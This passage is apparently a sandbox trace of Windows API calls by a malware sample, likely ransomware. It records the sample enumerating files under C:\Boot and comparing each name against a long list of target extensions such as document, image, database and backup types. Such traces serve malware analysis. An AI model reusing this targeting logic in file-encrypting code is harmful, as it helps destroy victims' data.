[0191.929] lstrlenW (lpString=".csv") returned 4 [0191.929] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".cub") returned 4 [0191.929] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dae") returned 4 [0191.929] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dat") returned 4 [0191.929] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".db") returned 3 [0191.929] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1 [0191.929] lstrlenW (lpString=".dbf") returned 4 [0191.929] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dbx") returned 4 [0191.929] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dc3") returned 4 [0191.929] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dcm") returned 4 [0191.929] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".dcr") returned 4 [0191.929] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1 [0191.929] lstrlenW (lpString=".der") returned 4 [0191.930] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".dib") returned 4 [0191.930] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".dic") returned 4 [0191.930] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".dif") returned 4 [0191.930] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".divx") returned 5 [0191.930] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".djvu") returned 5 [0191.930] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".dng") returned 4 [0191.930] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".doc") returned 4 [0191.930] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".docm") returned 5 [0191.930] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".docx") returned 5 [0191.930] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".dot") returned 4 [0191.930] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".dotm") returned 5 [0191.930] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".dotx") returned 5 [0191.930] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1 [0191.930] lstrlenW (lpString=".dpx") returned 4 [0191.930] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1 [0191.930] lstrlenW (lpString=".dqy") returned 4 [0191.930] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".dsn") returned 4 [0191.931] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".dt") returned 3 [0191.931] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1 [0191.931] lstrlenW (lpString=".dtd") returned 4 [0191.931] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".dwg") returned 4 [0191.931] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".dwt") returned 4 [0191.931] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".dx") returned 3 [0191.931] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1 [0191.931] lstrlenW (lpString=".dxf") returned 4 [0191.931] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".edml") returned 5 [0191.931] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1 [0191.931] lstrlenW (lpString=".efd") returned 4 [0191.931] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".elf") returned 4 [0191.931] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1 [0191.931] lstrlenW (lpString=".emf") returned 4 [0191.931] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1 [0191.932] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0191.932] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0191.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xfffe) returned 0x3e70058 [0191.932] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x750dd0 [0191.932] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.932] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0191.933] FindNextFileW (in: hFindFile=0x750dd0, lpFindFileData=0x39ff800 | out: lpFindFileData=0x39ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0191.933] FindClose (in: hFindFile=0x750dd0 | out: hFindFile=0x750dd0) returned 1 [0191.933] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3e70058 | out: hHeap=0x660000) returned 1 [0191.933] FindNextFileW (in: hFindFile=0x751350, lpFindFileData=0x39ffa7c | out: lpFindFileData=0x39ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0191.933] lstrlenW (lpString="bootspaces.dll") returned 14 [0191.933] lstrlenW (lpString=".1cd") returned 4 [0191.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0191.933] lstrlenW (lpString=".3ds") returned 4 [0191.933] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0191.933] lstrlenW (lpString=".3fr") returned 4 [0191.933] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0191.933] lstrlenW (lpString=".3g2") returned 4 [0191.933] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0191.933] lstrlenW (lpString=".3gp") returned 4 [0191.933] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0191.933] lstrlenW (lpString=".7z") returned 3 [0191.933] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0191.934] lstrlenW (lpString=".accda") returned 6 [0191.934] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".accdb") returned 6 [0191.934] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".accdc") returned 6 [0191.934] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".accde") returned 6 [0191.934] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".accdt") returned 6 [0191.934] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".accdw") returned 6 [0191.934] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1 [0191.934] lstrlenW (lpString=".adb") returned 4 [0191.934] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".adp") returned 4 [0191.934] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai") returned 3 [0191.934] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0191.934] lstrlenW (lpString=".ai3") returned 4 [0191.934] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai4") returned 4 [0191.934] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai5") returned 4 [0191.934] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai6") returned 4 [0191.934] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai7") returned 4 [0191.934] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0191.934] lstrlenW (lpString=".ai8") returned 4 [0191.935] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".anim") returned 5 [0191.935] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0191.935] lstrlenW (lpString=".arw") returned 4 [0191.935] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".as") returned 3 [0191.935] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0191.935] lstrlenW (lpString=".asa") returned 4 [0191.935] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".asc") returned 4 [0191.935] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".ascx") returned 5 [0191.935] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0191.935] lstrlenW (lpString=".asm") returned 4 [0191.935] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".asmx") returned 5 [0191.935] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0191.935] lstrlenW (lpString=".asp") returned 4 [0191.935] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".aspx") returned 5 [0191.935] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0191.935] lstrlenW (lpString=".asr") returned 4 [0191.935] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".asx") returned 4 [0191.935] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".avi") returned 4 [0191.935] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0191.935] lstrlenW (lpString=".avs") returned 4 [0191.936] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".backup") returned 7 [0191.936] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1 [0191.936] lstrlenW (lpString=".bak") returned 4 [0191.936] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".bay") returned 4 [0191.936] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".bd") returned 3 [0191.936] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0191.936] lstrlenW (lpString=".bin") returned 4 [0191.936] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".bmp") returned 4 [0191.936] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".bz2") returned 4 [0191.936] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".c") returned 2 [0191.936] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0191.936] lstrlenW (lpString=".cdr") returned 4 [0191.936] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".cer") returned 4 [0191.936] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".cf") returned 3 [0191.936] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0191.936] lstrlenW (lpString=".cfc") returned 4 [0191.936] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".cfm") returned 4 [0191.936] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0191.936] lstrlenW (lpString=".cfml") returned 5 [0191.936] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0191.937] lstrlenW (lpString=".cfu") returned 4 [0191.937] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".chm") returned 4 [0191.937] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".cin") returned 4 [0191.937] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".class") returned 6 [0191.937] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1 [0191.937] lstrlenW (lpString=".clx") returned 4 [0191.937] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".config") returned 7 [0191.937] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1 [0191.937] lstrlenW (lpString=".cpp") returned 4 [0191.937] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".cr2") returned 4 [0191.937] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".crt") returned 4 [0191.937] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".crw") returned 4 [0191.937] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".cs") returned 3 [0191.937] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0191.937] lstrlenW (lpString=".css") returned 4 [0191.937] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".csv") returned 4 [0191.937] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0191.937] lstrlenW (lpString=".cub") returned 4 [0191.938] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dae") returned 4 [0191.938] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dat") returned 4 [0191.938] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".db") returned 3 [0191.938] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0191.938] lstrlenW (lpString=".dbf") returned 4 [0191.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dbx") returned 4 [0191.938] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dc3") returned 4 [0191.938] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dcm") returned 4 [0191.938] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dcr") returned 4 [0191.938] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".der") returned 4 [0191.938] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dib") returned 4 [0191.938] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dic") returned 4 [0191.938] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".dif") returned 4 [0191.938] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0191.938] lstrlenW (lpString=".divx") returned 5 [0191.938] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1 [0191.938] lstrlenW (lpString=".djvu") returned 5 [0191.938] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1 [0191.939] lstrlenW (lpString=".dng") returned 4 [0191.939] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".doc") returned 4 [0191.939] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".docm") returned 5 [0191.939] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1 [0191.939] lstrlenW (lpString=".docx") returned 5 [0191.939] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0191.939] lstrlenW (lpString=".dot") returned 4 [0191.939] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dotm") returned 5 [0191.939] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1 [0191.939] lstrlenW (lpString=".dotx") returned 5 [0191.939] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1 [0191.939] lstrlenW (lpString=".dpx") returned 4 [0191.939] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dqy") returned 4 [0191.939] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dsn") returned 4 [0191.939] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dt") returned 3 [0191.939] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0191.939] lstrlenW (lpString=".dtd") returned 4 [0191.939] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dwg") returned 4 [0191.939] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dwt") returned 4 [0191.939] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0191.939] lstrlenW (lpString=".dx") returned 3 [0191.940] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0191.940] lstrlenW (lpString=".dxf") returned 4 [0191.940] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0191.940] lstrlenW (lpString=".edml") returned 5 [0191.940] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1 [0191.940] lstrlenW (lpString=".efd") returned 4 [0191.940] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0191.940] lstrlenW (lpString=".elf") returned 4 [0191.940] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0191.940] lstrlenW (lpString=".emf") returned 4 [0191.940] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".emz") returned 4 [0192.019] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".epf") returned 4 [0192.019] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".eps") returned 4 [0192.019] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".epsf") returned 5 [0192.019] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1 [0192.019] lstrlenW (lpString=".epsp") returned 5 [0192.019] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1 [0192.019] lstrlenW (lpString=".erf") returned 4 [0192.019] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".exr") returned 4 [0192.019] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".f4v") returned 4 [0192.019] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".fido") returned 5 [0192.019] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1 [0192.019] lstrlenW (lpString=".flm") returned 4 [0192.019] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0192.019] lstrlenW (lpString=".flv") returned 4 [0192.020] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".frm") returned 4 [0192.020] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".fxg") returned 4 [0192.020] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".geo") returned 4 [0192.020] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".gif") returned 4 [0192.020] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".grs") returned 4 [0192.020] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".gz") returned 3 [0192.020] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0192.020] lstrlenW (lpString=".h") returned 2 [0192.020] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0192.020] lstrlenW (lpString=".hdr") returned 4 [0192.020] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".hpp") returned 4 [0192.020] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".hta") returned 4 [0192.020] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".htc") returned 4 [0192.020] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".htm") returned 4 [0192.020] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".html") returned 5 [0192.020] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1 [0192.020] lstrlenW (lpString=".icb") returned 4 [0192.020] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0192.020] lstrlenW (lpString=".ics") returned 4 [0192.021] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".iff") returned 4 [0192.021] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".inc") returned 4 [0192.021] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".indd") returned 5 [0192.021] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1 [0192.021] lstrlenW (lpString=".ini") returned 4 [0192.021] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".iqy") returned 4 [0192.021] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".j2c") returned 4 [0192.021] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".j2k") returned 4 [0192.021] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".java") returned 5 [0192.021] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1 [0192.021] lstrlenW (lpString=".jp2") returned 4 [0192.021] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".jpc") returned 4 [0192.021] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".jpe") returned 4 [0192.021] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".jpeg") returned 5 [0192.021] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1 [0192.021] lstrlenW (lpString=".jpf") returned 4 [0192.021] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".jpg") returned 4 [0192.021] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0192.021] lstrlenW (lpString=".jpx") returned 4 [0192.022] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".js") returned 3 [0192.022] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0192.022] lstrlenW (lpString=".jsf") returned 4 [0192.022] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".json") returned 5 [0192.022] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1 [0192.022] lstrlenW (lpString=".jsp") returned 4 [0192.022] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".kdc") returned 4 [0192.022] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".kmz") returned 4 [0192.022] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".kwm") returned 4 [0192.022] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".lasso") returned 6 [0192.022] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1 [0192.022] lstrlenW (lpString=".lbi") returned 4 [0192.022] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".lgf") returned 4 [0192.022] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".lgp") returned 4 [0192.022] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".log") returned 4 [0192.022] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".m1v") returned 4 [0192.022] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0192.022] lstrlenW (lpString=".m4a") returned 4 [0192.022] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".m4v") returned 4 [0192.023] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".max") returned 4 [0192.023] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".md") returned 3 [0192.023] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1 [0192.023] lstrlenW (lpString=".mda") returned 4 [0192.023] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1 [0192.023] lstrlenW (lpString=".mdb") returned 4 [0192.023] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1 [0192.023] 